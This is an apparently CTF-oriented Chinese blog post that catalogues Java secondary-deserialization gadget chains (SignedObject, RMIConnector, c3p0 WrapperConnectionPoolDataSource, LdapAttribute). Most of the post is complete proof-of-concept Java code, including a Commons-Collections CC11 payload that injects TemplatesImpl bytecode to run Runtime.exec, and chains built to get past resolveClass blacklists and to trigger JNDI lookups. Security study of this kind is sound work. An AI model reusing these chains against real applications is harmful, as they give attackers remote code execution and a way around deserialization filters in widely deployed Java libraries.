前言
这里收集一些经常会用到的Java二次反序列化链。
SignedObject
getter–>readObject
这个是老生常谈了,位于java.security包下。最先是在hessian反序列化里遇到,现在已经很熟悉了。通过getter方法触发,调用内部对象的readObject方法,从而绕过程序自定义的resolveClass的过滤逻辑。
下面展示payload:
1 2 3 4 5 6 7 8 9 10 11 12
| KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
JSONArray array = new JSONArray(); array.add(signedObject);
|
触发getter方法就行,这里用的是fastjson的toString反序列化
如果用CB链去触发getter的话,要这样写:
1 2 3 4 5 6 7 8 9 10 11
| KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signingEngine);
BeanComparator<Object> comparator = new BeanComparator("object");
|
RMIConnector
connect–>readObject
这个类在JNDI攻击的时候也可以用,具体可以看AliyunCTF2023的ezbean。
不过这里我们来看他的二次反序列化。
触发点(sink)在这里:

这里对我们传入的base64字符进行readObject操作。
往上找谁调用了这个类,找到:

我们要调用findRMIServer#findRMIServerJRMP就需要满足开头为/stub/,然后在/stub/后面拼接上base64字符。然后这个path又是由参数里的directoryURL决定的,这里还不可控,继续网上找,找到connect方法:

这里就可以通过反射修改rimServer的值为null,从而进入我们需要的方法,并且上面提到的参数值也可以通过反射控制。
现在的目标就是调用connect方法,这个可以看具体题目。
下面结合CC11给出payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class RmiConnectorPOC1 { public static void main(String[] args)throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); RmipayloadGenerator rmipayloadGenerator=new RmipayloadGenerator(); setFieldValue(jmxServiceURL,"urlPath","/stub/"+rmipayloadGenerator.getbase64CC11payload()); RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); HashMap<String, String> innerMap = new HashMap<>(); Map<Object,Object> m = LazyMap.decorate(innerMap, transformer); HashMap outerMap = new HashMap(); TiedMapEntry tied = new TiedMapEntry(m,rmiConnector); outerMap.put(tied, "t"); innerMap.clear(); setFieldValue(transformer, "iMethodName", "connect"); unSerial(outerMap);
}
private static ByteArrayOutputStream unSerial(Object o) throws Exception{ ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeObject(o); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray())); in.readObject(); in.close(); return bs; } private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } } import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class RmipayloadGenerator { public static String getbase64CC11payload()throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "t"); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); HashMap<String, String> innerMap = new HashMap<>(); Map<Object,Object> m = LazyMap.decorate(innerMap, transformer); HashMap outerMap = new HashMap(); TiedMapEntry tied = new TiedMapEntry(m, templates); outerMap.put(tied, "t"); innerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream aos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(aos); oos.writeObject(outerMap); oos.flush(); oos.close(); return Base64Encode(aos); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } private static String Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode);
return s; }
}
|
WrapperConnectionPoolDataSource
setter–>readObject
这个需要fastjson或jackson依赖,因为要用到set方法
这个是c3p0链里面用到的一个类,也是进行二次反序列化的。
当时还不是特别理解,现在再来写一遍。
首先我们需要知道的是,这个类里面存在一个PropertyListener,并且它在这个类调用构造方法进行初始化的时候就会被init,如下图:

PropertyListener,顾名思义,属性监听器,也就是说,当任何属性发生变化时,都会先经过一遍setUpPropertyListeners方法。这点很重要。
接下来,我们看看这个setUpPropertyListeners方法里发生了什么:

这里直接看触发点了。如果我们修改的属性值equals,“userOverridesAsString”,那么我们就会进入这个else,然后调用C3P0ImplUtils.parseUserOverridesAsString( (String) val ),这个val就是我们修改属性时设置的值。
我们跟进这个方法看一下:

这里面会取出hex十六进制字符进行反序列化,而取出的规则是HASM_HEADER后开始到倒数第二个字符。这里的HASM_HEADER是HexAsciiSerializedMap,所以我们的反序列化数据要以这个开头,并在最后随便加一个字符,这里我们规定加一个分号。
后面跟进fromByteArray,deserializeFromByteArray,就能看到最后是一个原生反序列化:

回到开始,我们是调用userOverridesAsString的set方法才触发了链子。所以这里要结合fastjson或者jackson才行。
fastjson会在反序列化的时候先新建一个WrapperConnectionPoolDataSource,然后再set。

LdapAttribute
来源于RWCTF,实现的效果是getter–>JNDI,最终的sink还是JNDI
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class Test01 {
public static void main(String[] args) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:50388/"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( new Class[] {String.class}); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( new Object[] {"any"}); Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); baseCtxUrlField.setAccessible(true); baseCtxUrlField.set(ldapAttribute, ldapCtxUrl); Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); rdnField.setAccessible(true); rdnField.set(ldapAttribute, new CompositeName("a//b"));
BeanComparator<Object> beanComparator = new BeanComparator<>(); setField(beanComparator, "property", "attributeDefinition"); beanComparator.compare(ldapAttribute, ldapAttribute);
} public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
}
|
具体原理可以看参考文章中,4ra1n许少师傅的分析。
总结
常见的二次反序列化好像就这四种,以后遇到新的再来补充。另外,很多链子最先都在CTF里出现,所以打完比赛一定要复盘,看看有没有新的知识。
参考
Java二次反序列化学习 | stoocea’s blog
使用JDK类绕过TemplatesImpl黑名单